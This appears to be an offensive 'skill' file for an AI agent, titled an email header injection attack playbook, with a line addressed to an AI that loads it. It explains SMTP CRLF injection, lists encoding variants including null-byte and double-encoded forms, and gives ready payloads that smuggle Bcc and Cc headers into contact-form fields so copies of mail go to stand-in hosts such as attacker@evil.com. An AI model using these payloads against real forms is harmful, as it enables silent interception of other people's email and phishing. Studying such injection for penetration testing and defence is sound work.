SKILL: Email Header Injection, Expert Attack Playbook

AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level), this skill covers both attack surfaces.

0. RELATED ROUTING

• crlf-injection, general CRLF injection; email headers are a specific high-value sink
• ssrf-server-side-request-forgery, when SMTP server is reachable via SSRF (gopher://smtp)
• open-redirect, redirect in password-reset emails as phishing amplification

---

1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

Encoding variants to try

Encoding	Payload
URL-encoded	%0d%0a
Double URL-encoded	%250d%250a
Unicode	\u000d\u000a
Raw CRLF	\r\n (in raw request)
LF only	%0a (some SMTP servers accept LF without CR)
Null byte + CRLF	%00%0d%0a

---

2. ATTACK SCENARIOS

2.1 BCC Injection, Silent Email Exfiltration

Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com